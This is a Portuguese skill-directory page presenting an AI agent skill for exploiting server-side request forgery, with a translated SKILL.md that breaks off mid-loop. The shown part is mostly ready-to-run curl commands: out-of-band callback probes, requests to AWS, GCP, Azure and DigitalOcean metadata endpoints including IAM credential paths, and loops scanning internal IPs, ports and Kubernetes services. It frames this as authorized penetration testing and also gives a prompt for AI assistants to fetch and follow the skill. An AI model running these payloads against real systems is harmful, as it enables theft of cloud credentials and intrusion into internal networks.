Pular para o conteúdo
Skillpedia
Diversos35 mil · #5758

exploiting-server-side-request-forgery

Ajuda seu agente a identificar e explorar vulnerabilidades de Server-Side Request Forgery (SSRF).

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sistemas que recebem links da internet. Ela permite acessar informações internas e serviços restritos de forma autorizada.

Quando usar

  • ✓Ao testar a segurança de um site que permite ao usuário inserir URLs.
  • ✓Ao verificar se um aplicativo na nuvem pode acessar dados sensíveis.
  • ✓Ao avaliar serviços que processam conteúdo de links externos.

Exemplo do que pedir para a IA

“Verifique se o site `exemplo.com` pode ser explorado para acessar informações internas usando um link fornecido.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-server-side-request-forgery/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-server-side-request-forgery/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta enviar links para o servidor, que por sua vez tenta acessá-los. Se o servidor puder acessar links que normalmente não deveria, como endereços internos ou de nuvem, uma falha é identificada.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-server-side-request-forgery

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-server-side-request-forgery/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Server-Side Request Forgery (SSRF)

Quando Usar

  • Durante testes de penetração autorizados quando a aplicação busca URLs fornecidas por usuários (webhooks, pré-visualizações de URL, importação de arquivos)
  • Ao testar aplicações hospedadas na nuvem para acesso a serviços de metadados de instância
  • Para avaliar geradores de PDF, serviços de captura de tela ou qualquer funcionalidade que renderize conteúdo externo
  • Ao avaliar arquiteturas de microsserviços para acesso a serviços internos via SSRF
  • Durante avaliações de segurança de APIs que aceitam parâmetros de URL para busca de dados

Pré-requisitos

  • Autorização: Contrato de teste de penetração por escrito, incluindo o escopo de testes SSRF
  • Burp Suite Professional: Com Collaborator para detecção out-of-band (OOB)
  • interactsh: Servidor de interação OOB de código aberto (go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)
  • SSRFmap: Framework automatizado de exploração SSRF (git clone https://github.com/swisskyrepo/SSRFmap.git)
  • curl: Para testes manuais de payloads SSRF
  • Conhecimento da infraestrutura alvo: Provedor de nuvem (AWS, GCP, Azure), faixas de IP internas

Fluxo de Trabalho

Passo 1: Identificar Funcionalidades Suscetíveis a SSRF

Mapeie todas as funcionalidades da aplicação que realizam requisições HTTP do lado do servidor.

# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features

# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
  "https://target.example.com/api/webhooks"

# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
  image_url avatar_url feed_url import_url proxy_url; do
  echo "Testing param: $param"
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done

Passo 2: Acessar Metadados de Instância na Nuvem

Teste payloads SSRF direcionados a serviços de metadados do provedor de nuvem.

# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://target.example.com/api/fetch-url"

# AWS - Get IAM role credentials
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/fetch-url"

# GCP Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

# Azure Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
  "https://target.example.com/api/fetch-url"

# DigitalOcean Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

Passo 3: Escanear Rede Interna via SSRF

Use a vulnerabilidade SSRF para descobrir serviços e portas internas.

# Escaneamento de rede interna - faixas privadas comuns
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
    echo -n "$ip:$port -> "
    response=$(curl -s --max-time 3 -X POST \
      -H "Content-Type: application/json" \
      -d "{\"url\":\"http://$ip:$port/\"}" \
      "https://target.example.com/api/fetch-url")
    echo "$response" | head -c 100
    echo
  done
done

# Serviços internos do Kubernetes
for svc in kubernetes.default.svc \
  kubernetes-dashboard.kubernetes-dashboard.svc \
  kube-dns.kube-system.svc; do
  curl -s --max-time 3 -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://$svc/\"}" \
    "https://target.example.com/api/fetch-url"
done

# Acessar painéis de administração internos
for path in /admin /console /actuator/env /server-status /_cat/indices; do

…
Perguntas frequentes

O que é uma falha SSRF?

SSRF (Server-Side Request Forgery) é uma falha de segurança onde um atacante pode fazer com que o servidor web faça requisições HTTP para um domínio de sua escolha, permitindo o acesso a recursos internos ou externos.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização explícita e por escrito antes de realizar qualquer teste de segurança em um sistema.

Quais ferramentas são necessárias?

Você precisará de ferramentas como Burp Suite Professional, interactsh, SSRFmap e curl, além de conhecimento sobre a infraestrutura do alvo.

Detalhes

Descrição original do autor

Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5758
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas